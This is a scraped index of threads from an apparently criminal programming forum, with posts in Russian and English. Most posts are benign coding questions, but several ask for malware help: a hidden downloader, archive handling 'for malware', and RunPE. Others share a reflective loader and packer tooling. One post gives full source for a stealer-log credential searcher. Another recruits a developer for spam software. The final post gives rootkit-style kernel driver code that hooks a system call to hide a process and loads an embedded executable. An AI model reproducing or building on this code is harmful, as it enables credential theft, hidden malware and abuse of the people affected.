        [Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IMMDeviceEnumerator
        {
            int NotImpl1();
            [PreserveSig]
            int GetDefaultAudioEndpoint(EDataFlow dataFlow, ERole role, out IMMDevice ppDevice);
        }

        [Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IMMDevice
        {
            [PreserveSig]
            int Activate(ref Guid iid, int dwClsCtx, IntPtr pActivationParams, [MarshalAs(UnmanagedType.IUnknown)] out object ppInterface);
        }

        [Guid("657804FA-D6AD-4496-8A60-352752AF4F89"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IAudioEndpointVolumeCallback
        {
            int OnNotify(IntPtr pNotifyData);
        };

        [Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        internal interface IAudioEndpointVolume
        {
            int RegisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
            int UnregisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
            int GetChannelCount(out int pnChannelCount);
            int SetMasterVolumeLevel(float fLevelDB, Guid pguidEventContext);
            int SetMasterVolumeLevelScalar(float fLevel, Guid pguidEventContext);
            int GetMasterVolumeLevel(out float pfLevelDB);
            int GetMasterVolumeLevelScalar(out float pfLevel);
            int SetChannelVolumeLevel(uint nChannel, float fLevelDB, Guid pguidEventContext);
            int SetChannelVolumeLevelScalar(uint nChannel, float fLevel, Guid pguidEventContext);
            int GetChannelVolumeLevel(uint nChannel, out float pfLevelDB);
            int GetChannelVolumeLevelScalar(uint nChannel, out float pfLevel);
            int SetMute([MarshalAs(UnmanagedType.Bool)] Boolean bMute, Guid pguidEventContext);
            int GetMute(out bool pbMute);
            int GetVolumeStepInfo(out uint pnStep, out uint pnStepCount);
            int VolumeStepUp(Guid pguidEventContext);
            int VolumeStepDown(Guid pguidEventContext);
            int QueryHardwareSupport(out uint pdwHardwareSupportMask);
            int GetVolumeRange(out float pflVolumeMindB, out float pflVolumeMaxdB, out float pflVolumeIncrementdB);
        }

        /// <summary>
        /// <c>Метод для изменения громкости звука windows <br>(Работает, начиная с Windows 7)</br></c>
        /// <b><br>Значение : Уровень громкости</br></b>
        /// <br>(0f) : 0%</br>
        /// <br>(0.10f) : 10%</br>
        /// <br>(0.50f) : 50%</br>
        /// <br>(0.90f) : 90%</br>
        /// <br>(1f) : 100%</br>
        /// <b><br>Пример использования:</br></b>
        /// <br>var audio = new AudioEndpoint();</br>
        /// <br>audio.Inizialize(1f);</br>
        /// </summary>
        /// <param name="level"></param>
        public void Inizialize(float level)
        {
            var deviceEnumerator = (IMMDeviceEnumerator)new MMDeviceEnumerator();
            IMMDevice speakers = null;
            IAudioEndpointVolume vol = null;
            try
            {
                deviceEnumerator.GetDefaultAudioEndpoint(EDataFlow.eRender, ERole.eMultimedia, out speakers);
                Guid IID_IAudioEndpointVolume = typeof(IAudioEndpointVolume).GUID;
                speakers.Activate(ref IID_IAudioEndpointVolume, 0, IntPtr.Zero, out object o);
                vol = (IAudioEndpointVolume)o;
                vol.SetMasterVolumeLevelScalar(level, Guid.Empty);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
               // System.IO.File.WriteAllText("VolumeError.txt", $"{ex.Message}{Environment.NewLine}");
            }

            if (vol != null) Marshal.ReleaseComObject(vol);
            if (speakers != null) Marshal.ReleaseComObject(speakers);
            if (deviceEnumerator != null) Marshal.ReleaseComObject(deviceEnumerator);
        }
    }
}

Используется просто:

C#:Copy to clipboard

var audio = new AudioEndpoint();
audio.Inizialize(1f); // (1f) - уровень громкости
Вызов FastIoDispatch обработчиков из пользовательского режима
ID: 6765d804b4103b69df3757c2
Thread ID: 87350
Created: 2023-05-05T20:02:52+0000
Last Post: 2023-07-25T19:19:51+0000
Author: varwar
Replies: 10 Views: 688

С помощью какой API можно вызвать обработчики из FastIoDispatch на примере драйвера afd.sys?
Кусок листинга из DriverEntry.

C:Copy to clipboard

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = AfdDispatchDeviceControl;
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = AfdWskDispatchInternalDeviceControl;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = AfdEtwDispatch;
DriverObject->FastIoDispatch = &AfdFastIoDispatch;
DriverObject->DriverUnload = AfdUnload

Если с вызовами обработчиков из массива MajorFunction все понятно и документировано, то примеров клиентов с вызовом FastIo я не нашел ни в репозитории семплов [драйверов](https://github.com/microsoft/Windows-driver- samples), ни в книге Walter Oney "Programming the Microsoft Windows Driver Model".

Утиилиты с помощью которых можно создавать дизайн для программ на C++
ID: 6765d804b4103b69df375699
Thread ID: 127782
Created: 2024-11-28T07:06:20+0000
Last Post: 2024-11-29T20:55:48+0000
Author: Russian_Coder
Replies: 13 Views: 687

Утиилиты с помощью которых можно создавать дизайн для программ на C++
Какие есть варианты где можно самим проектировать дизайн и встраивать в проект, подвзять к кнопкам код и т.д
нужно для C++

Вот типо аналогов как на C# win form
1732777532157.png

память потекла (зачем?)
ID: 6765d804b4103b69df375859
Thread ID: 77181
Created: 2022-12-02T09:20:56+0000
Last Post: 2022-12-02T10:56:28+0000
Author: sleepknot
Replies: 6 Views: 687

Крч в пьяном угаре,:smile10: щелкая еблом решил написать мразь которая будет в МОЙ ЛЮБИМЫЙ dwm bar высерать инфу.
Я конечно не Quake3, но вывести в консоль "Привет мир!" На Си как занехуй захуй могу.
И вот тут такая чешуя. Так как у меня ноут GTX 35 serail OG, мне пздц важно знать сколько моя малыха прослужит и служит ли она сейчас вообще, для этого нужно узнать сколько в дуре % заряда. По итогу написав код, который ничем не уступает коду человека который 2 дня учит Си. Я принялся тестить. И ебать вы бы знали мое удивление когда эта параша заработала, да мало того что эта дура выводит текст как макака в клетке, так это она нахуй еще память высикивает захуяли? Открыв всеми известный дебагер htop я обнаружил что слякать моя, за 3 минуты работы набрала в массе до 5мб, а начинала с 1.5. От такого расклада у меня кепка слетела, и я начал искать ошибку - нихуя я не нашел, скорее всего ошибка в ядре линукса и это очевидно. Один х#й хочу к вам обратится за помощью. с шансом в 0.3% вы не найдете в моем коде ошибки, но всеже !!!палю исходники!!!(~~GNU~~~~General Public License~~):​

C:Copy to clipboard

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>

#define BAT1_DIR "/sys/class/power_supply/BAT1/capacity"
#define ADP1_DIR "/sys/class/power_supply/ADP1/online"


struct battery_data {
    FILE * fp;
    int BAT1, ADP1;
    char format_battery[16];
};

void battery_status(struct battery_data * battery) {
    battery->fp = fopen(BAT1_DIR, "r");
    fscanf(battery->fp, "%d", &battery->BAT1);

    battery->fp = fopen(ADP1_DIR, "r");
    fscanf(battery->fp, "%d", &battery->ADP1);

    snprintf(battery->format_battery, 16, battery->ADP1 == 0 ? "▼ %d%" : battery->ADP1 == 1 ? "▲ %d%" :  "%d%", battery->BAT1);

    fclose(battery->fp);
}


int main (int argc, char *argv[])
{
    struct battery_data battery;

    FILE * fp;
    char command[64];

    while (1) {
        battery_status(&battery);
        snprintf(command, 64, "xsetroot -name \"| %s |\"", battery.format_battery);

        fp = popen(command, "r");
        sleep(1);
        pclose(fp);
    }
    return 0;
}

А ну и вот, чуть не забыл, я решил на башке (так специалисты называют язык BASH) переписать прогу сишную мою крутую где 0 ошибок, и в итоге на башке все отлично воркало, и никуда нахуй даже намека небыло на просер памяти, башка воркала мин 10 и как жрала 1.5мб так и жрет 1.5мб:rolleyes:
А так всех с новым годом, найдите у меня в коде ошибку и я вам пришлю голову деда мороза на новый год!:smile66:

:smile10::smile10:

Посоветуйте как правильно в С++ работать с архивами
ID: 6765d804b4103b69df3756c1
Thread ID: 122588
Created: 2024-09-12T19:17:19+0000
Last Post: 2024-09-15T08:14:09+0000
Author: codexprime
Replies: 2 Views: 685

Доброго времени суток
Посоветуйте как правильно работать с архивами формата zip и tar.gz в контексте написания малвари

Хочу подкорректировать свое представление
довольно банальный и риторический вопрос, то есть, в целом начинать надо с поиска подходящих библиотек? это движение в правильном направлении?
мне ИИ советовал minizip, libtar и тд

что бы просто создать/извлечь архив + работа с паролями

интересно развить навык программирования

C++ Локальный счётчик нажатий на кнопку
ID: 6765d804b4103b69df375837
Thread ID: 79249
Created: 2023-01-04T17:46:17+0000
Last Post: 2023-01-07T16:26:56+0000
Author: uglydavidka
Replies: 8 Views: 684

Нужен счётчик нажатий на кнопку счёт которого не будет сбрасываться при перезаходе в приложение и данные которого будут храниться на файле в компьютере

Runtime Encryption
ID: 6765d804b4103b69df37598a
Thread ID: 53970
Created: 2021-07-13T19:35:53+0000
Last Post: 2021-07-14T13:29:04+0000
Author: Ghostmela
Replies: 1 Views: 684

Hello everyone. Please I need help on how to perform runtime encryption- decryption for strings such as functions e.tc in C#

Расшифруйте исполняемый файл или выполните обратный инжиниринг.
ID: 6765d804b4103b69df37579e
Thread ID: 93562
Created: 2023-07-21T08:40:38+0000
Last Post: 2023-09-02T19:46:29+0000
Author: neostar
Replies: 6 Views: 684

Эй, братья,
У меня есть исполняемый файл. кто-нибудь может расшифровать и сказать мне, что он делает?
Я поделюсь файлом через telegram, если это будет разрешено.
Если здесь разрешено вложение исполняемого файла. Я могу заархивировать и поделиться.
Спасибо

Лоадер на С
ID: 6765d804b4103b69df375924
Thread ID: 60503
Created: 2021-12-26T16:58:15+0000
Last Post: 2021-12-28T22:36:43+0000
Author: xmyriy
Replies: 2 Views: 683

KaynLdr is a Reflective Loader written in C / ASM. It uses direct syscalls to allocate virtual memory as RW and changes it to RX. It erases the DOS and NT Headers to make it look less suspicious in memory.

Features​

  • Uses direct syscall
  • Erases the DOS and NT header
  • only the .text section is going to be RX

github.com

[ GitHub - Cracked5pider/KaynLdr: KaynLdr is a Reflective Loader written

in C/ASM ](https://github.com/Cracked5pider/KaynLdr)

KaynLdr is a Reflective Loader written in C/ASM. Contribute to Cracked5pider/KaynLdr development by creating an account on GitHub.

github.com github.com

Selenium WebDriver + Java для начинающих
ID: 6765d804b4103b69df3759ea
Thread ID: 46950
Created: 2021-01-18T19:53:57+0000
Last Post: 2021-01-18T19:53:57+0000
Author: balabashka
Replies: 0 Views: 683

Чему вы научитесь

Начать применять Selenium WebDriver для автоматизации тестирования веб проектов.
Находить элементы на веб странице и производить любые действия над ними.
Писать более сложные методы, имитирующие действия пользователей.
Использовать язык XPath для нахождения любых веб элементов.
Начать карьеру специалиста по автоматизации тестирования.
Использовать язык программирования Java для написания авто тестов.
Внедрить фреймворк JUnit в процесс автоматизации тестирования.
Применять на практике Page Object паттерн.
Запускать авто тесты на различных браузерах.

Требования
Опыт программирования не обязателен, в курсе выделен отдельный раздел для обучения основам программирования на Java, достаточных для быстрого старта в освоении Selenium WebDriver.
Обзор с установкой всех необходимых инструментов будет рассмотрен во время курса.
Компьютер с операционной системой Windows, MacOS или Linux. В курсе работа демонстрируется в Windows 10, однако вся работа аналогична на остальных системах.
Знание теории тестирования ПО необязательно.
Главное требование - иметь желание обретать новые навыки и применять их на практике!

Описание

Данный курс предоставляет возможность изучить самый популярный и мощный инструмент для автоматизации тестирования веб проектов - Selenium WebDriver!
Во время курса слушатели пройдут путь от знакомства с проектом Selenium и установки необходимых инструментов до создания собственного проекта и освоения всех основных возможностей Selenium WebDriver.
В курсе имеется раздел, посвященный изучению языка программирования Java. В нем рассмотрены основные типы данных и операции над ними, циклы, условия, работа с классами и объектами, принципы ООП. Слушатели смогут освоить навыки программирования, необходимые для использования Selenium WebDriver
Во время курса вы научитесь использовать Selenium WebDriver для автоматизации тестирования, освоите популярный и удобный фреймворк JUnit, поймете назначение паттерна Page Object, научитесь использовать язык XPath для работы с веб элементами и поддерживать собственный проект, используя язык программирования Java!
Курс не перегружен теоретической информацией и сложной терминологией. Наша задача - помочь вам получить быстрый и легкий старт в мир автоматизации!
Все лекции сопровождаются обучающими видео, демонстрирующими применение всех навыков на практике!
Если вы начинающий специалист, инженер по ручному тестированию, желающий расширить свои навыки, сотрудник, желающий внедрить автоматизацию в процесс тестирования в своей компании, студент, человек, ищущий свой путь или вы просто любите изучать все новое - этот курс для вас!
Делайте вклад в саморазвитие и дивиденды не заставят себя ждать!
Успехов, дорогие слушатели!

Для кого этот курс:
Начинающие специалисты.
Специалисты по ручному тестированию, желающие расширить свои возможности.
Люди, решившие сменить профессиональную деятельность.

[Исходник](https://www.udemy.com/course/selenium-webdriver-and-java-for- beginners/?35b7e078=)
Скачать

Android Tutorial plus source code for educational use
ID: 6765d804b4103b69df375a35
Thread ID: 40965
Created: 2020-08-16T06:43:56+0000
Last Post: 2020-08-16T06:43:56+0000
Author: ron
Replies: 0 Views: 683

Hello mates

android.jpg

[LIKES = 2] https://mega.nz/folder/o3IkgQZC#2tMHSJS-VNz5YGU3XbCZ_A [/ LIKES]

LIKES AND THANKS
?

[Вопрос] Как сделать в c++ Скачку файла, и его дальнеший запуск.
ID: 6765d804b4103b69df3759af
Thread ID: 51531
Created: 2021-05-08T10:35:38+0000
Last Post: 2021-05-09T07:09:37+0000
Author: Motya1337
Replies: 3 Views: 681

Как на языке программирования c++ , Сделать скачку файла. и его дальнейший запуск (Скрытно)
В простонародие Loader DLL

Какой язык выбрать?
ID: 6765d804b4103b69df37574e
Thread ID: 103998
Created: 2023-12-13T12:03:33+0000
Last Post: 2024-01-13T00:51:15+0000
Author: Botsman
Replies: 11 Views: 679

Всем доброго дня, я нахожусь в поиске подходящего мне языка программирование для написания различных скриптов, чекеров, парсеров, троянов итд. Общим словом много функционального языка для написания софта. Я + - знаю основы языка Java, но я так понял, что этот язык не подходит моим нуждам так сказать. Подскажите пожалуйста кто разбирается в этом вопросе, я уверен тут найдутся знающие люди.

Передача данных (IPC) через ETHREAD
ID: 6765d804b4103b69df3759da
Thread ID: 48207
Created: 2021-02-16T20:28:08+0000
Last Post: 2021-02-17T00:19:11+0000
Author: DildoFagins
Replies: 1 Views: 679

Наткнулся на забавный проект на гитхабе:
https://github.com/LloydLabs/dearg-thread-ipc-stealth
Жаль работает только на десятках.

[C++] CodeSigner Source
ID: 6765d804b4103b69df3757f2
Thread ID: 85583
Created: 2023-04-10T02:17:05+0000
Last Post: 2023-04-28T23:39:24+0000
Author: GridsNetwork
Replies: 7 Views: 674

Open Sourcing.
Can be integrated to your own packer.

Download:

You must have at least 20 reaction(s) to view the content.

Вопрос по RunPE на C++
ID: 6765d804b4103b69df3757ae
Thread ID: 90270
Created: 2023-06-12T07:54:45+0000
Last Post: 2023-08-14T20:11:52+0000
Author: Alexey18
Replies: 6 Views: 674

Короче говоря, начал изучать данную тему и пришел к небольшому наблюдению. При написании и эксплуатации RunPE в C#, за счет работы сразу же под дотнетом у нас выходит поддержка как Нативных, так .NET файлов. В плюсах(чисто WinAPI) данной возможности не будет. Подскажите, что нужно для этого делать, чтобы появилась возможность работы и с .net. В какую сторону копать, чтобы вышло без подключения /clr /cls? Где-то читал, что нужно восстанавливать таблицу импортов под это дело или это вообще бред?

Кстати хотел добавить, что при использовании donut(возможно слышали про этот софт с гитхаба, который позволяет любой бинарь преобразовать в шеллкод), и последующем запуске шела на плюсах, запустить можно и натив, и дотнет. Объясните плс как это работает, ведь и там, и там работа происходит из под натива.

how to compile C program for all windows versions
ID: 6765d804b4103b69df37596c
Thread ID: 55549
Created: 2021-08-19T19:07:02+0000
Last Post: 2021-09-18T11:31:39+0000
Author: scrim
Replies: 5 Views: 673

hello, how do i compile my C program for all windows versions in visual studio 2019? From windows 10 to XP, etc

[PHDays 2023] COM и DCOM: забытые знания
ID: 6765d804b4103b69df3757d6
Thread ID: 88513
Created: 2023-05-21T08:41:52+0000
Last Post: 2023-06-17T08:49:01+0000
Author: DildoFagins
Prefix: Видео
Replies: 7 Views: 673

Обзорный видос с недавнего пхдейза с базовой инфой про эти ваши комы/дкомы, рекомендуется к просмотру одному цэшнику, который давно хотел погрузиться в чуждые ему оопшные комовские концепции (ну вы понимаете):

VPN многопользовательский чат java.
ID: 6765d804b4103b69df375a06
Thread ID: 45386
Created: 2020-12-10T10:36:34+0000
Last Post: 2020-12-10T10:36:34+0000
Author: countervectorbase
Replies: 0 Views: 671

Не нашел в сети исходники, которые прямо или косвенно решали бы мою задачу. Есть ссылки? Спасибо.

Защита исполняемого файла от дебага, анализа и т. п.
ID: 6765d804b4103b69df3757a9
Thread ID: 95025
Created: 2023-08-07T10:12:36+0000
Last Post: 2023-08-19T14:58:47+0000
Author: dirwin
Replies: 15 Views: 670

Как защитить ?

[src] Log searcher in C++
ID: 6765d804b4103b69df375715
Thread ID: 112260
Created: 2024-04-08T14:00:09+0000
Last Post: 2024-04-10T10:52:29+0000
Author: qGodless
Replies: 4 Views: 667

Hello, i made a log searcher in python a while ago [https://xss.is/threads/80528/](http://Python log searcher), but python was slow as shit for such job, so i remade it in c++

C++:Copy to clipboard

#include <iostream>
#include <fstream>
#include <unordered_map>
#include <filesystem>
#include <regex>
#include <system_error>
#include <future>
#include <thread>
#include <vector>

using namespace std;
namespace fs = filesystem;

bool VerboseEnabled = false;

void processLogsAsync(const vector<string>& keywords, const string& sourceDirectory, const string& destinationDirectory, promise<void>&& promise) {
    unordered_map<string, ofstream> keywordFiles;
    unordered_map<string, int> keywordCount;

    fs::create_directories(destinationDirectory);

    for (const auto& keyword : keywords) {
        string existingFile = destinationDirectory + "/" + keyword + ".txt";
        if (fs::exists(existingFile)) {
            fs::remove(existingFile);
        }
    }

    error_code ec;
    for (auto it = fs::recursive_directory_iterator(sourceDirectory, ec); it != fs::recursive_directory_iterator(); it.increment(ec)) {
        if (ec) {
            if (VerboseEnabled) cerr << "Error" /*accessing: " << sourceDirectory*/ << ": " << ec.message() << "\n";
            ec.clear();
            continue;
        }

        const auto& entry = *it;

        if (entry.is_regular_file() && entry.path().extension() == ".txt") {
            string filename = entry.path().filename().string();
            regex pattern("password", regex_constants::icase);

            if (regex_search(filename, pattern)) {
                ifstream file(entry.path(), ios::binary);
                if (!file) {

                    if (VerboseEnabled) cerr << "Error opening file " << entry.path() << "\n";

                    continue;
                }

                string line;
                while (getline(file, line)) {
                    for (const auto& keyword : keywords) {
                        if (line.find(keyword) != string::npos) {
                            if (keywordFiles.find(keyword) == keywordFiles.end()) {
                                string outputFile = destinationDirectory + "/" + keyword + ".txt";
                                keywordFiles[keyword] = ofstream(outputFile, ios::app);
                                keywordCount[keyword] = 0;
                            }
                            keywordFiles[keyword] << line << endl;
                            keywordCount[keyword]++;
                            for (int i = 0; i < 2 && getline(file, line); ++i) {
                                keywordFiles[keyword] << line << endl;
                            }
                            keywordFiles[keyword] << endl;
                        }
                    }
                }
            }
        }
    }

    for (auto& [keyword, file] : keywordFiles) {
        file.close();
    }

    for (const auto& pair : keywords) {
        if (keywordCount.find(pair) != keywordCount.end()) {
            cout << "Found " << keywordCount[pair] << " credentials for " << pair << " in " << destinationDirectory << "/" << pair << ".txt" << endl;
        } else {
            cout << "No credentials found for " << pair << endl;
        }
    }

    promise.set_value();
}

void processLogs(const vector<string>& keywords, const string& sourceDirectory, const string& destinationDirectory) {
    const unsigned int numThreads = thread::hardware_concurrency();
    vector<future<void>> futures;

    // Split the keywords into smaller chunks for multithreading
    const size_t chunkSize = (keywords.size() + numThreads - 1) / numThreads;
    for (size_t i = 0; i < keywords.size(); i += chunkSize) {
        const size_t end = min(i + chunkSize, keywords.size());
        vector<string> chunk(keywords.begin() + i, keywords.begin() + end);

        promise<void> promise;
        future<void> future = promise.get_future();
        futures.push_back(move(future));

        thread thread(processLogsAsync, chunk, sourceDirectory, destinationDirectory, move(promise));
        thread.detach();
    }

    // Wait for all threads to finish
    for (auto& future : futures) {
        future.get();
    }
}

// Function to split keywords arguments (netflix.com,paypal.com)
vector<string> split(const string& s, char delimiter) {
    vector<string> tokens;
    string token;
    istringstream tokenStream(s);
    while (getline(tokenStream, token, delimiter)) {
        tokens.push_back(token);
    }
    return tokens;
}

int main(int argc, char* argv[]) {
    if (argc < 2 || string(argv[1]) == "-h" || string(argv[1]) == "--help") {
        cout << "Usage: " << argv[0] << " -k \"netflix.com,paypal.com\" -l Logs -o Results" << endl;
        cout << "  -h, --help              Display this help message." << endl;
        cout << "  -k <Keywords>           Comma-separated list of keywords to search for." << endl;
        cout << "  -l <Logs>               Directory containing logs files." << endl;
        cout << "  -o <destination>        (Optional) Directory to store search results. Default: 'Results'" << endl;
        cout << "  -v <verbose>            (Optional) Turn on verbose If set." << endl;
        cout << endl;
        return 1;
    }

    vector<string> keywords;
    string sourceDirectory;
    string destinationDirectory;
    for (int i = 1; i < argc; ++i) {

        string arg(argv[i]);

        //TODO: Read keywords from file
        if (arg == "-k") {
            if (i + 1 < argc) {
                keywords = split(argv[++i], ',');
            } else {
                cerr << "Error: Missing keywords after -k flag." << endl;
                return 1;
            }
        }
       
        else if (arg == "-l") {
            if (i + 1 < argc) {
                sourceDirectory = argv[++i];
            } else {
                cerr << "Error: Missing source directory after -l flag." << endl;
                return 1;
            }
        }
       
        else if (arg == "-o") {
            if (i + 1 < argc) {
                destinationDirectory = argv[++i];
            } else {
                cerr << "Error: Missing destination directory after -o flag." << endl;
                return 1;
            }
        }

        else if (arg == "-v") {
            cout << "Verbose Mode Enabled" << endl;
            bool* verbosePtr = &VerboseEnabled;
            *verbosePtr = true;
        }
   
        else {
            cerr << "Error: Unknown argument: " << arg << endl;
            return 1;
        }
    }

    if (destinationDirectory.empty()) {
        destinationDirectory = "Results";
    }

    processLogs(keywords, sourceDirectory, destinationDirectory);

    return 0;
}

Compile: download a compiler and run
g++ log_searcher.cpp -o log_searcher.exe -lstdc++fs -std=c++17

Time: Searched a 10gb logs folder in ~1 minute on an old pc
1712585453880.png
Note: under linux systems it gives the error: https://stackoverflow.com/questions/73479857/ mid search and exit due to underlying OS API

Ищу разработчика!
ID: 6765d804b4103b69df375849
Thread ID: 78050
Created: 2022-12-13T22:32:32+0000
Last Post: 2022-12-14T19:27:49+0000
Author: BabyMalon
Replies: 1 Views: 665

Нужен разработчик, для софта под спам/массовую рассылку, на такой площадке как Reddit, требуется полноценный софт который позволит спамить через куки/другое проливать во все каналы на которые подписаны наши аккаунты.

How far along is crABI?
ID: 6765d804b4103b69df3756a7
Thread ID: 124004
Created: 2024-10-03T04:17:37+0000
Last Post: 2024-10-27T15:04:42+0000
Author: shrekushka
Replies: 2 Views: 664

The micro dependencies are a pain. crABI should make it convenient to build shared libs.
Will it ever come to reality?
I asked the same question on a couple of other boards, and all I heard was silence.

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F34b3775eeb6834199af40fe3683717aeafc46f72e1ccd5fd23682b54c23e9e57%2Frust- lang%2Frfcs%2Fpull%2F3470&hash=fe73132af4daf6313ba18644a5409b4a&return_error=1)

[ crABI v1 by joshtriplett · Pull Request #3470 · rust-lang/rfcs

](https://github.com/rust-lang/rfcs/pull/3470)

Note that the most eminently bikesheddable portion of this proposal is the handling of niches, and the crABI Option and Result types built around that. There are multiple open questions specificall...

github.com github.com

Kernel-Mode Driver for Base64 Decoding and Process Hiding: A Study in System Call Hooking and Memory Management
ID: 6765d804b4103b69df375696
Thread ID: 127619
Created: 2024-11-25T23:03:27+0000
Last Post: 2024-12-01T08:15:10+0000
Author: LadyCracker
Replies: 5 Views: 664

C:Copy to clipboard

#include <ntddk.h>
#include <ntstrsafe.h>

// Define the function prototype for ZwQuerySystemInformation
typedef NTSTATUS (NTAPI *ZwQuerySystemInformation_t)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

// Original system function to query system information
ZwQuerySystemInformation_t OriginalZwQuerySystemInformation = NULL;

// Base64 string of the executable (you would replace this with your actual base64 string)
const char* base64ExeString = "YOUR_BASE64_STRING_HERE";

// Function to decode Base64 string
NTSTATUS Base64Decode(const char* base64, PVOID* outBuffer, PULONG outSize) {
    ULONG length = 0;
    UCHAR* decodedData = NULL;
    NTSTATUS status = RtlDecodeBase64String(base64, &length, NULL);

    if (NT_SUCCESS(status)) {
        decodedData = (UCHAR*)ExAllocatePool(NonPagedPool, length);
        if (decodedData) {
            status = RtlDecodeBase64String(base64, &length, decodedData);
            if (NT_SUCCESS(status)) {
                *outBuffer = decodedData;
                *outSize = length;
            } else {
                ExFreePool(decodedData);
            }
        } else {
            status = STATUS_INSUFFICIENT_RESOURCES;
        }
    }
    return status;
}

// Function to load the decoded executable into memory
NTSTATUS LoadExeFromMemory(PVOID buffer, ULONG size) {
    // In a real-world scenario, you would use functions like
    // ZwCreateSection, ZwMapViewOfSection, and ZwCreateProcess
    // to execute the code directly from memory. This part is left
    // abstract as it involves complex kernel-mode operations.
    DbgPrint("Loaded executable into memory with size: %d\n", size);
    return STATUS_SUCCESS;
}

// Hooked ZwQuerySystemInformation to hide the process
NTSTATUS NTAPI HookedZwQuerySystemInformation(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
) {
    NTSTATUS status = OriginalZwQuerySystemInformation(
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength
    );

    if (status == STATUS_SUCCESS) {
        SYSTEM_PROCESS_INFORMATION* info = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
      
        // Iterate through processes and hide the target process (e.g., "hidden_process.exe")
        while (info->NextEntryOffset) {
            if (wcscmp(info->ImageName.Buffer, L"hidden_process.exe") == 0) {
                // Skip this process, effectively hiding it
                info->NextEntryOffset = 0;
            }
            info = (SYSTEM_PROCESS_INFORMATION*)((PUCHAR)info + info->NextEntryOffset);
        }
    }

    return status;
}

// Driver unload function
void DriverUnload(PDRIVER_OBJECT pDriverObject) {
    // Restore the original system call
    if (OriginalZwQuerySystemInformation) {
        InterlockedExchangePointer(
            (PVOID*)&ZwQuerySystemInformation,
            (PVOID)OriginalZwQuerySystemInformation
        );
    }

    DbgPrint("Driver unloaded\n");
}

// Driver entry function
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) {
    PVOID exeBuffer = NULL;
    ULONG exeSize = 0;
    NTSTATUS status = Base64Decode(base64ExeString, &exeBuffer, &exeSize);

    if (NT_SUCCESS(status)) {
        DbgPrint("Base64 decoded successfully. Size: %d bytes\n", exeSize);
      
        // Load and execute the decoded executable in memory
        status = LoadExeFromMemory(exeBuffer, exeSize);
      
        if (!NT_SUCCESS(status)) {
            DbgPrint("Failed to load executable from memory.\n");
        }
    } else {
        DbgPrint("Base64 decoding failed. Status: 0x%x\n", status);
    }

    // Hook the system call for process listing (ZwQuerySystemInformation)
    OriginalZwQuerySystemInformation = (ZwQuerySystemInformation_t)ZwQuerySystemInformation;
    ZwQuerySystemInformation = HookedZwQuerySystemInformation;

    pDriverObject->DriverUnload = DriverUnload;

    DbgPrint("Driver loaded\n");

    return STATUS_SUCCESS;
}

This code is a Windows Kernel-mode driver that attempts to implement two primary functionalities:

  1. Decoding and Loading a Base64-Encoded Executable : The driver decodes a Base64 string representing an executable file and tries to load it into memory for execution.
  2. Hiding a Process : The driver hooks the ZwQuerySystemInformation function to modify the output of process information queries, effectively hiding a specific process (hidden_process.exe).

Let’s break it down step by step:


1. Defining and Hooking ZwQuerySystemInformation

  • ZwQuerySystemInformation_t is defined as a typedef for the ZwQuerySystemInformation function, which is a system call used to retrieve various system information, including the list of running processes.
  • OriginalZwQuerySystemInformation is a pointer that stores the original function to preserve its functionality after the hook.

2. Base64 Decoding

The function Base64Decode handles the decoding of the Base64 string:

  • It uses RtlDecodeBase64String to decode the Base64 string into its binary form.
  • If successful, the decoded data is stored in memory allocated using ExAllocatePool (a kernel-mode memory allocator), and the size of the decoded data is returned.

Use Case : The Base64 string (base64ExeString) is expected to represent the binary data of an executable file. The decoded data will later be used for execution.


3. Loading the Decoded Executable

The LoadExeFromMemory function:

  • Simulates loading the decoded executable into memory.
  • In this code, the functionality is abstract and does not implement the actual execution of the binary.
  • Normally, loading and executing an executable from memory in kernel mode would involve complex steps like creating a process, mapping the binary into its address space, and invoking the entry point.

Note : Loading and running executables from kernel mode is highly risky and can lead to system instability or security vulnerabilities.


4. Hooking ZwQuerySystemInformation

  • The function HookedZwQuerySystemInformation intercepts calls to ZwQuerySystemInformation:

    1. It calls the original ZwQuerySystemInformation function to retrieve the process list.
    2. It iterates through the SYSTEM_PROCESS_INFORMATION structure, which contains information about all processes.
    3. It checks the ImageName field of each process. If it matches hidden_process.exe, the driver modifies the structure to exclude this process.

Effect : This effectively "hides" the process from tools like Task Manager or other process enumerators that rely on ZwQuerySystemInformation.


5. Driver Entry and Unload

  • Driver Entry (DriverEntry) :

    • The driver decodes the Base64 string, loads the executable, and hooks ZwQuerySystemInformation by replacing its pointer in the system service table with HookedZwQuerySystemInformation.
    • It sets up DriverUnload to restore the original system call when the driver is unloaded.
  • Driver Unload (DriverUnload) :

    • Restores the original ZwQuerySystemInformation function to avoid leaving the system in an unstable state.

Summary of Operations​

  1. Decode Base64 String : Convert Base64 into binary data (potentially an executable).
  2. Load Executable into Memory : Prepare the decoded binary for execution (not fully implemented).
  3. Hook System Call : Replace ZwQuerySystemInformation with a custom function to hide specific processes.
  4. Restore State on Unload : Revert modifications to maintain system integrity when the driver is unloaded.

Notes on Risks and Ethics​

  • Kernel-Mode Risks : Writing and installing kernel-mode drivers is inherently risky. Bugs can crash the system (BSOD) or compromise security.
  • Malicious Use : Modifying system calls to hide processes is often associated with rootkits, which are used for malicious purposes.
  • Legal and Ethical Implications : Writing, testing, or deploying such code may violate laws or ethical guidelines depending on the context.
